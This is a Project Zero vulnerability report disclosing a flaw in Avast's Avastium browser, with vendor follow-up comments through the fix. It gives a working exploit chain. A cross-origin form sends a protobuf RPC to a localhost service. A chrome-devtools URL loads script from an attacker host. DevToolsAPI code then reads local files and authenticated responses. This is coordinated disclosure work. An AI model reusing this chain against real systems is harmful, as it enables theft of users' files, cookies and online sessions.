|
|
Avast: A web-accessible RPC endpoint can launch "SafeZone" (also called Avastium), a Chromium fork with critical security checks removed. | |||
| Project Member Reported by taviso@google.com, Dec 18 2015 | Back to list | |||
I sent the following report to Avast this morning. This one is complicated, but allows an attacker to read any file on the filesystem by clicking a link. You don't even have to know the name or path of the file, because you can also retrieve directory listings using this attack. Additionally, you can send arbitrary *authenticated* HTTP requests, and read the responses. This allows an attacker to read cookies, email, interact with online banking and so on. I've prepared a demo that accesses C:\ and prints the contents. It's trivial to make examples that read your email if you're authenticated to gmail, and reading arbitrary files from your User directory. Although this attack relies on Avastium (Avast's port of Chromium), the victim does *not* have to be using it, and never has to have used it, because your profile is automatically imported from Chrome on startup. If you just want to see a demo, here it is, I only tested it in Chrome, but it should be portable: https://lock.cmpxchg8b.com/xour2Iab/avastium_demo.html (Note: This url is a secret) Web Accessible RPC Endpoint First, I noticed that AvastSvc.exe creates an for RPC endpoint on port 27275. I reverse engineered the wire format and found that the RPCs are Protocol Buffers sent over HTTP POSTs. That's a problem, because websites are permitted to do cross-domain POSTs to localhost, and by aligning the data carefully it's possible to send valid RPCs with a HTML <form>. Therefore, we can send arbitrary RPC's to this service just by getting a user to visit a website. An example form, which can be sent automatically with javascript by calling submit() on the DOM element, might be: <form method="post" enctype="text/plain" action="http://localhost:27275/command"> <input name="{BinaryProtobuf}" value=""> <input type="submit"> </form> I enumerated all the RPC commands available, luckily there's nothing terribly exciting, perhaps the worst is that privacy settings can be changed. However, I also found that you can launch Avastium via RPC 7 (from the strings, it looks like this is enum SWITCH_TO_SAFEZONE), which accepts a URL as a parameter. I'm not sure I understand the utility of the "SafeZone" feature of Avastium, which appears to make the browser window switch to an alternate desktop when you visit a domain that looks like a bank (!?)...but whatevs. The protobuf is encoded like this to send SWITCH_TO_SAFEZONE("https://www.google.com"): $ xxd protobuf 00000000: 0807 1216 6874 7470 733a 2f2f 7777 772e ....https://www. 00000010: 676f 6f67 6c65 2e63 6f6d 1803 google.com.. And verifying that works.... $ curl -id @protobuf http://localhost:27275/command HTTP/1.0 200 OK Content-Length: 0 $ tasklist /FI "IMAGENAME eq AvastSZB.exe" Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ AvastSZB.exe 1616 Console 1 70,952 K AvastSZB.exe 8040 Console 1 47,532 K AvastSZB.exe 1516 Console 1 33,572 K ... That works, Avastium was started. Now you literally just embed it in a form like this, and we can invoke the RPC from a browser. $ xxd test.html 00000000: 3c66 6f72 6d20 6d65 7468 6f64 3d70 6f73 <form method=pos 00000010: 7420 656e 6374 7970 653d 2274 6578 742f t enctype="text/ 00000020: 706c 6169 6e22 2061 6374 696f 6e3d 2268 plain" action="h 00000030: 7474 703a 2f2f 6c6f 6361 6c68 6f73 743a ttp://localhost: 00000040: 3237 3237 352f 636f 6d6d 616e 6422 3e0a 27275/command">. 00000050: 3c69 6e70 7574 206e 616d 653d 2208 0712 <input name="... 00000060: 1668 7474 7073 3a2f 2f77 7777 2e67 6f6f .https://www.goo 00000070: 676c 652e 636f 6d18 2220 7661 6c75 653d gle.com." value= 00000080: 2222 3e0a 3c69 6e70 7574 2074 7970 653d "">.<input type= 00000090: 2273 7562 6d69 7422 3e0a 3c2f 666f 726d "submit">.</form 000000a0: 3e > Note that the final Protobuf field (BrowserType?) must be truncated, and the browser will append the '=' from the form (because it's name=value pairs). Critical Security Checks Removed From Avastium Launching a browser might not sound bad, and it wouldn't be if this was Chromium. That's because Chromium will only allow WebSafe URLs on the commandline. WebSafe means that an attacker is allowed to navigate to it from the web, e.g. http://, https://, javascript:, data:, and so on. https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/startup/startup_browser_creator.cc&sq=package:chromium&type=cs&l=580&rcl=1450398980 // Exclude dangerous schemes. if (url.is_valid()) { ChildProcessSecurityPolicy* policy = ChildProcessSecurityPolicy::GetInstance(); if (policy->IsWebSafeScheme(url.scheme()) || url.SchemeIs(url::kFileScheme) || #if defined(OS_CHROMEOS) // In ChromeOS, allow any settings page to be specified on the command // line. See ExistingUserController::OnLoginSuccess. (url.spec().find(chrome::kChromeUISettingsURL) == 0) || #else ((url.spec().find(std::string(chrome::kChromeUISettingsURL) + chrome::kResetProfileSettingsSubPage) == 0)) || #endif (url.spec().compare(url::kAboutBlankURL) == 0)) { urls.push_back(url); } } For example, here are some attempts to change to a non-websafe scheme from a https: origin using the javascript console: > document.location.protocol "https:" > document.location="file:///etc/passwd" (index):1 Not allowed to load local resource: file:///etc/passwd > document.location="chrome://settings" (index):1 Not allowed to load local resource: chrome://settings/ This means being able to specify a URL on the commandline, doesn't really get you anything that you couldn't already do from the web in Chromium. For some reason, Avastium removed this check for dangerous schemes, and will allow any URL scheme without restriction on the commandline. This includes internal schemes like chrome://, therefore being able to specify a URL on the commandline *does* get you additional privilege with Avastium. Exploiting Navigation to Non-WebSafe URL Schemes in Avastium It took some work to find a codepath that didn't hit some defense-in-depth assertion in Chromium when trying to exploit this, but I did eventually find one that allows privileged javascript execution just from the url; chrome-devtools://. chrome-devtools does allow javascript extensions to be loaded from URL parameters, although the extension has to be served with a Access-Control-Allow-Origin header. I setup a server with Access-Control-Allow-Origin, then constructed a URL like this to get an extension loaded: chrome-devtools://devtools/bundled/inspector.html?remoteBase=http://exploithost/&remoteFrontend=true This will cause an XMLHttpRequest to ${remoteBase}/screencast_module.js, and evaluate the response in the chrome-devtools origin. Note: You might think that you disabled devtools by default in Avastium, but you actually just hid the UI, the code is still present. Now we have javascript execution with origin chrome-devtools://, but that doesn't actually give you very much. chrome-devtools is a weird origin that is supposed to be embedded, and it gets all of it's privilege from sending messages to it's embedder. However, some requests are short-circuited and don't need a host, and I found a few messages that still worked in this mode, including "loadNetworkResource". https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/devtools/devtools_ui_bindings.cc&sq=package:chromium&type=cs&l=638 void DevToolsUIBindings::LoadNetworkResource(const DispatchCallback& callback, const std::string& url, const std::string& headers, int stream_id); To use this API, you have to create a callback at DevToolsAPI.streamWrite to receive the data: var data = ""; DevToolsAPI.streamWrite = function(id, chunk) { document.write("Receiving data for stream " + id + "<br>"); data += chunk; } And create a callback to receive the headers: function result(result) { // This object includes all headers the server returned, cinluding // Cookies. document.write("Resource Result: " + result.statusCode + "<br>"); } And now you can send a loadNetworkResource message to the (null) embedder: DevToolsAPI.sendMessageToEmbedder("loadNetworkResource", ["https://www.avast.com", "", 0], result); This lets you send and *read* authenticated HTTP requests, using Chrome's cookie store. It get's better: you can also request non-websafe schemes like file:///, because devtools are permitted to examine external resources: DevToolsAPI.sendMessageToEmbedder( "loadNetworkResource", [ "file:///C:/", "", 0 ], function (result) { // This object includes all headers the server returned, cinluding // Cookies. document.write("Resource Result: " + result.statusCode + "<br>"); document.write("Here is the data received:<br>"); document.write("<hr>"); data.split('\n').map(function(line) { if (line.match(/addRow.*;/)) { document.write(line.match(/addRow.*;/)[0]); document.write("<br>"); } }); document.write(data); } ); Putting this all together, if an Avast user using *any* web browser visits an attacker controlled URL, he can launch Avastium and take complete control of it; reading files, cookies, passwords, everything. He can even take control of authenticated sessions and read email, interact with online banking, etc. Here is a working demo that will read the contents of C:\, obviously it could just find interesting files and POST them to the attacker, but it just prints the directory listing: https://lock.cmpxchg8b.com/xour2Iab/avastium_demo.html In fact, It's probably possible to turn this into code execution with some more research, but hopefully we're in agreement this is already critical severity. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.
Project Member
Comment 1
by
taviso@google.com,
Dec 28 2015
,
Jan 11 2016
It's my understanding a more complete fix is scheduled for the end of the month.
,
Jan 28 2016
I pinged Avast for an update, they said: "the fix will be included in the upcoming program update. I still hope it will be released as planned (on 28th)". I'll check it's released and then unrestrict this.
,
Jan 28 2016
,
Jan 29 2016
Avast responded that the release with the fix was delayed by 1 week, this is still under deadline.
,
Feb 3 2016
It looks like this is live now https://forum.avast.com/index.php?topic=182468.0 Marking issue fixed.
,
Feb 8 2016
|
||||
| ► Sign in to add a comment | ||||